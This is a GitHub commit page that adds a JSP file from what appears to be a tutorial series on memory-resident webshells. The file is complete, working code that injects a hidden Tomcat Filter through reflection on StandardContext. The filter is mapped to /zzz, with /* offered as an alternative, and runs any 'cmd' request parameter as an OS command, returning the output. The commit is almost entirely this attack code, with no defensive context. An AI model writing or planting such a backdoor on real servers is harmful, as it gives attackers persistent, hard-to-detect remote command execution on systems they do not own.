Skip to content

Commit 5890bcb

Browse files
committed
Update 03-内存马实战
1 parent 2bf9406 commit 5890bcb

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%@ page import = "org.apache.catalina.Context" %>
3+
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
4+
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
5+
<%@ page import = "org.apache.catalina.core.StandardContext" %>
6+
7+
8+
<!-- tomcat 8/9 -->
9+
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
10+
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
11+
12+
13+
<!-- tomcat 7 -->
14+
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
15+
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
16+
17+
18+
<%@ page import = "javax.servlet.*" %>
19+
<%@ page import = "java.io.IOException" %>
20+
<%@ page import = "java.lang.reflect.Constructor" %>
21+
<%@ page import = "java.lang.reflect.Field" %>
22+
<%@ page import = "java.util.Map" %>
23+
24+
25+
<%
26+
class filterDemo implements Filter {
27+
@Override
28+
public void init(FilterConfig filterConfig) throws ServletException {
29+
}
30+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
31+
String cmd = servletRequest.getParameter("cmd");
32+
if (cmd!= null) {
33+
Process process = Runtime.getRuntime().exec(cmd);
34+
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
35+
new java.io.InputStreamReader(process.getInputStream()));
36+
StringBuilder stringBuilder = new StringBuilder();
37+
String line;
38+
while ((line = bufferedReader.readLine()) != null) {
39+
stringBuilder.append(line + '\n');
40+
}
41+
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
42+
servletResponse.getOutputStream().flush();
43+
servletResponse.getOutputStream().close();
44+
return;
45+
}
46+
filterChain.doFilter(servletRequest, servletResponse);
47+
}
48+
@Override
49+
public void destroy() {
50+
}
51+
}
52+
%>
53+
<%
54+
//从org.apache.catalina.core.ApplicationContext反射获取context方法
55+
ServletContext servletContext = request.getSession().getServletContext();
56+
Field appctx = servletContext.getClass().getDeclaredField("context");
57+
appctx.setAccessible(true);
58+
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
59+
Field stdctx = applicationContext.getClass().getDeclaredField("context");
60+
stdctx.setAccessible(true);
61+
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
62+
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
63+
Configs.setAccessible(true);
64+
Map filterConfigs = (Map) Configs.get(standardContext);
65+
66+
67+
String name = "filterDemo";
68+
//判断是否存在filterDemo1这个filter,如果没有则准备创建
69+
if (filterConfigs.get(name) == null){
70+
//定义一些基础属性、类名、filter名等
71+
filterDemo filter = new filterDemo();
72+
FilterDef filterDef = new FilterDef();
73+
filterDef.setFilterName(name);
74+
filterDef.setFilterClass(filter.getClass().getName());
75+
filterDef.setFilter(filter);
76+
77+
78+
//添加filterDef
79+
standardContext.addFilterDef(filterDef);
80+
81+
82+
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
83+
FilterMap filterMap = new FilterMap();
84+
// filterMap.addURLPattern("/*");
85+
filterMap.addURLPattern("/zzz");
86+
filterMap.setFilterName(name);
87+
filterMap.setDispatcher(DispatcherType.REQUEST.name());
88+
89+
90+
//添加我们的filterMap到所有filter最前面
91+
standardContext.addFilterMapBefore(filterMap);
92+
93+
94+
//反射创建FilterConfig,传入standardContext与filterDef
95+
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
96+
constructor.setAccessible(true);
97+
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
98+
99+
100+
//将filter名和配置好的filterConifg传入
101+
filterConfigs.put(name,filterConfig);
102+
out.write("Inject success!");
103+
}
104+
else{
105+
out.write("Injected!");
106+
}
107+
%>

0 commit comments

Comments
 (0)